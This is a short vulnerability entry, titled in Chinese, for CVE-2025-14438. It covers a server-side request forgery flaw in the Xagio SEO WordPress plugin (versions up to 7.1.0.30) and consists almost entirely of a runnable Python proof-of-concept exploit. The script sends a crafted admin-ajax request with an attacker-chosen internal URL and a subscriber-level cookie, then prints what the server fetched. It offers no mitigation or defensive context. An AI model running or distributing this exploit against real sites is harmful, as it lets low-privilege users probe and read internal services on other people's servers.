CVE-2025-14438: Xagio SEO插件pixabayDownloadImage函数SSRF漏洞

import requests import sys # CVE-2025-14438 SSRF PoC # Target: WordPress site with Xagio SEO plugin <= 7.1.0.30 def exploit_ssrf(target_url, internal_target, auth_cookie): """ Exploit SSRF in Xagio SEO pixabayDownloadImage function target_url: Base URL of WordPress site internal_target: Internal URL to target (e.g., http://localhost:port) auth_cookie: Valid subscriber-level authentication cookie """ endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Construct malicious request to trigger SSRF data = { 'action': 'xagio_pixabay_download', 'image_url': internal_target, # SSRF payload 'image_id': 'test123' } headers = { 'Cookie': auth_cookie, 'Content-Type': 'application/x-www-form-urlencoded' } try: response = requests.post(endpoint, data=data, headers=headers, timeout=10) print(f"[*] Request sent to {internal_target}") print(f"[*] Response status: {response.status_code}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-14438.py <target_url> <internal_target> <auth_cookie>") sys.exit(1) target = sys.argv[1] internal = sys.argv[2] cookie = sys.argv[3] result = exploit_ssrf(target, internal, cookie) if result: print(f"[+] Response: {result[:500]}")